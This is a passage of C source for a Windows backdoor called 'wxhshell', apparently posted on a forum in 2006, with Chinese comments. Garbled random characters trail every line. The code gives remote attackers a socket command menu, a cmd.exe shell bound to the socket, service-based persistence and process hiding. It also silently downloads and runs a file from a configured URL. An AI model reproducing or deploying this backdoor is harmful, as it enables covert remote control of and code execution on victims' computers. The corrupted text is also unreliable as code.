    switch(cmd[0]) { }J\KnaKo  
  s h^&3}  
  // 帮助 5 }F6s  
  case '?': { >`+-Yi$(\  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 407;M%?'A  
    break; T|lyjX$Q]9  
  } zd#/zUPI  
  // 安装 h OF>Dj  
  case 'i': { Y%]&h#F  
    if(Install()) Cr%6c3aQ  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Nyo,6 AA  
    else ;gv9J [R  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); t&Z:G<;  
    break; qf6}\0   
    } SZ"^>}zl=  
  // 卸载 Q5qQ%cu  
  case 'r': { Y([vma>U]  
    if(Uninstall()) sBD\;\I  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); z3p #`  
    else ' 8bT9  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); B=J/HiwV)  
    break; U2VnACCUZs  
    } t"Djh^=y  
  // 显示 wxhshell 所在路径 j 1#T]CDs  
  case 'p': { _gi?GQj  
    char svExeFile[MAX_PATH]; L[9]Ez$2+  
    strcpy(svExeFile,"\n\r"); /-jk_8@a  
      strcat(svExeFile,ExeFile); @^93q  
        send(wsh,svExeFile,strlen(svExeFile),0); @Xe[5T  
    break; R^F\2yth-  
    } W L5!H.q  
  // 重启 ;yK:.Vg  
  case 'b': { Z]I yj 97  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Gn%gSH/  
    if(Boot(REBOOT)) [sH[bmLR  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); JK9}Kb};  
    else { YKs^aQm#  
    closesocket(wsh); :ift{XR'  
    ExitThread(0); gAgP("  
    } Gr?[s'Ze  
    break; (~FLG I  
    } y1:#0  
  // 关机 <sq@[\l}a  
  case 'd': { $I-i=:}g  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); zSFqy'b.M-  
    if(Boot(SHUTDOWN)) E-q*u(IW  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); O<v9i4*  
    else { SRx `m,535  
    closesocket(wsh); 3xnu SOdh  
    ExitThread(0); |k^ *  
    } 4?{e?5)  
    break; sj?7}(s  
    } &Kgl\;}  
  // 获取shell Qv@Z#  
  case 's': { |%~sU,Y\(  
    CmdShell(wsh); .5x+FHu7  
    closesocket(wsh); !xxu~j^T  
    ExitThread(0); v/yt C/WH"  
    break; R83Me #&  
  } p4OiCAW;  
  // 退出 ndIU0kq3  
  case 'x': { ;eRYgC  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); "*E%?MG  
    CloseIt(wsh); p KF>_\   
    break; icPg<>TQ  
    } SlZ>N$E  
  // 离开 T=QV =21qn  
  case 'q': { =pP0d vn  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); /)` kYD6  
    closesocket(wsh); 3yfq*\_uXw  
    WSACleanup(); a jCx"J  
    exit(1); ^#4?v^QNh  
    break; ?#LbhO*   
        } gqRwN p  
  } )R2BTE:  
  } Vuqm{bo^  
/WJ*ro]Hd$  
  // 提示信息 OxraaN`  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Bld$<uU  
} *X K9-%3  
  } MMfcY 3#%  
oZV=vg5Dq  
  return; =wW3Tr7~  
} ![BQ;X  
.hxcx>%  
// shell模块句柄 |E)Es!dr  
int CmdShell(SOCKET sock) 'MHbXFM  
{ TKsze]/q  
STARTUPINFO si; bt,^-gt@  
ZeroMemory(&si,sizeof(si)); &ns !\!  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ,/;mK_6  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; U8z$=W o  
PROCESS_INFORMATION ProcessInfo; I%NPc4p  
char cmdline[]="cmd"; |6pNe T[  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 0pS|t/h0  
  return 0; ]r{-K63P{!  
} <z*SO a  
DVNGV   
// 自身启动模式 ;y7V-sf  
int StartFromService(void) _Z|s!~wdz  
{ PL#8~e;'  
typedef struct \1[I(u  
{ Xp=Y<`dX  
  DWORD ExitStatus; :A,V<Es}I"  
  DWORD PebBaseAddress; (c<Krc h  
  DWORD AffinityMask; 2@ >04]  
  DWORD BasePriority; T7AFL=  
  ULONG UniqueProcessId; /]Fs3uf  
  ULONG InheritedFromUniqueProcessId; *@q+A1P7@  
}   PROCESS_BASIC_INFORMATION; $C UmRi{T  
,Z;z}{.hq  
PROCNTQSIP NtQueryInformationProcess; nz|;6?LCLY  
NW`.RGLI<  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; xP.B,1\X  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ,x?H]a)  
{g2cm'hD  
  HANDLE             hProcess; >o=3RB=Fh  
  PROCESS_BASIC_INFORMATION pbi; _be*B+?2t  
W%f:+s}cI  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); s7C oUd2  
  if(NULL == hInst ) return 0; \]U@=w  
\*H/YByTb  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); dF{3 ~0+,  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); mN^92@eebC  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); {6v|d{V+e  
/vl]Oa&U  
  if (!NtQueryInformationProcess) return 0; !<!sB)  
kSH3)CC P  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); b'^OW  
  if(!hProcess) return 0; ${#5$U+kI  
bh&,*Y6=  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; @^y/V@lDm  
*hAeA+:  
  CloseHandle(hProcess); G qI^$5?  
,epKt(vl  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); {}?s0U$5  
if(hProcess==NULL) return 0; Q/6T?{\U7  
)EYsqj  
HMODULE hMod; _7YAF,@vT  
char procName[255]; C|Bk'<MI  
unsigned long cbNeeded; zYdSg<[^  
~F*pV*  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); sB_o HUMH6  
!ZbNW4rIP  
  CloseHandle(hProcess); U`JzE"ps]  
+(5H$O{h  
if(strstr(procName,"services")) return 1; // 以服务启动 owTW_V  
?#xNz=V  
  return 0; // 注册表启动 cI4%z eR  
} _=jc%@]1y  
hi>Ii2T  
// 主模块 . ({aPtSt!  
int StartWxhshell(LPSTR lpCmdLine) l^ni"X  
{ ,~FyC_%*  
  SOCKET wsl; 5+GW% U/  
BOOL val=TRUE; h)q:nlKUW  
  int port=0; PG9won5_  
  struct sockaddr_in door; !%NxSJ  
PGMu6$  
  if(wscfg.ws_autoins) Install(); C8cB Lsa[J  
7Nc@7_=  
port=atoi(lpCmdLine); 0/<}.Z]  
[kzcsJ'/e  
if(port<=0) port=wscfg.ws_port; $nQ; ++  
StWDNAf)  
  WSADATA data; %4cUa| =?  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; )$yqJ6y5  
qFW- ~T  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ^aDos9SyV  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); gLQWL}0O  
  door.sin_family = AF_INET; x;LyR  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); :7IL|bA<  
  door.sin_port = htons(port); P"_x/C(]@J  
&by,uVb=|{  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { m^h"VH,   
closesocket(wsl); BnqAv xX  
return 1; %96JH YcX  
} {$>*~.Wu  
OekcU% C  
  if(listen(wsl,2) == INVALID_SOCKET) { Kwfrh?  
closesocket(wsl); WUAjb,eo  
return 1; knpb$eX4  
} X#5dd.RR  
  Wxhshell(wsl); _< 69d  
  WSACleanup(); pq*b"Jku1  
fu9y3`  
return 0; ! 2"zz/N{  
TclZdk]%T  
} g8mVjM\B;  
[+gX6  
// 以NT服务方式启动 P$2J`b[H$  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 2Y&z}4'j  
{ ,]~iIoTi  
DWORD   status = 0; 6-gxba  
  DWORD   specificError = 0xfffffff; 79uL"N;  
S D] d/|y  
  serviceStatus.dwServiceType     = SERVICE_WIN32; IoJkM-^H&)  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 'Y6{89y  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; Kom$i<O?48  
  serviceStatus.dwWin32ExitCode     = 0; TF|GGY i  
  serviceStatus.dwServiceSpecificExitCode = 0; 5|x FY/%  
  serviceStatus.dwCheckPoint       = 0; G-Z_pGer^  
  serviceStatus.dwWaitHint       = 0; 1QE-[|  
l},*^Sn<5  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); Q <^'v>~n  
  if (hServiceStatusHandle==0) return; 8;p6~&).C~  
uwQ{y>SG  
status = GetLastError(); J7emoD [  
  if (status!=NO_ERROR) :^3MN  
{ 5h+g^{BE  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; M\,0<{  
    serviceStatus.dwCheckPoint       = 0; &pK1S>t  
    serviceStatus.dwWaitHint       = 0; Pp:(PoH  
    serviceStatus.dwWin32ExitCode     = status; ?;+=bKw0  
    serviceStatus.dwServiceSpecificExitCode = specificError; sL~TV([6/  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ,\[&%ph  
    return; 4eYj.=I  
  } R8Lp8!F'  
iYHD:cg)~  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; %H~q3|z  
  serviceStatus.dwCheckPoint       = 0; w@nN3U+  
  serviceStatus.dwWaitHint       = 0; ;_of'  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); waQNX7Xdn  
} HvK<>9  
;yY>SaQ  
// 处理NT服务事件,比如:启动、停止 3A4?9>g)KU  
VOID WINAPI NTServiceHandler(DWORD fdwControl) #; E,>0  
{ jIZQ/xp8_  
switch(fdwControl) `HgT5}  
{ 7&:gvhw   
case SERVICE_CONTROL_STOP: JE9|;A  
  serviceStatus.dwWin32ExitCode = 0; el.;T*Wn  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; B~lrd#qC  
  serviceStatus.dwCheckPoint   = 0; E0>4Q\n{  
  serviceStatus.dwWaitHint     = 0; @;fdf3ian  
  { ov#/v\|0  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 4cr >sz  
  } W4QVWn %3  
  return; =! 9+f  
case SERVICE_CONTROL_PAUSE: }a"T7y23  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ^;c!)0Q<Z  
  break; %@G<B  
case SERVICE_CONTROL_CONTINUE: *@dRL3c^=  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 4kT|/ bp  
  break; 2hw3+ o6  
case SERVICE_CONTROL_INTERROGATE: =YB3^Z  
  break; BGodrb1  
}; wP6~HiC  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); $oH?oD1  
} ZdlZ,vK^.  
_V1O =iu-  
// 标准应用程序主函数 m!|u{<,R  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 6t *pV [  
{ -/B}XN W  
CP|N2rb  
// 获取操作系统版本 "\vEi &C  
OsIsNt=GetOsVer(); 5sM-E>8G^{  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ' ,a'r.HJH  
WsL*P .J  
  // 从命令行安装 d&w g\"E  
  if(strpbrk(lpCmdLine,"iI")) Install(); &rorBD 5aj  
7X2g"2\Wm  
  // 下载执行文件 ;q6: *H/  
if(wscfg.ws_downexe) { 2l{g$44  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) "T<Q#^m  
  WinExec(wscfg.ws_filenam,SW_HIDE); |5Mhrb4.  
} 3:Y ZC9  
R8c1~'  
if(!OsIsNt) { :v* _Ay  
// 如果时win9x,隐藏进程并且设置为注册表启动 Ol~sCr  
HideProc(); vE>J@g2#  
StartWxhshell(lpCmdLine); +Ys<V  
} s)_7*DY  
else ]V<[W,*(5  
  if(StartFromService()) :w#Zs)N  
  // 以服务方式启动 ya5;C"   
  StartServiceCtrlDispatcher(DispatchTable); H"WkyvqXb  
else {Lk~O)E  
  // 普通方式启动 ,6}HAC $  
  StartWxhshell(lpCmdLine); >+7+ gSD#:  
d@b"tb}R  
return 0; \Bw9%P~ G  
}
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只看该作者 1 发表于: 2006-10-10
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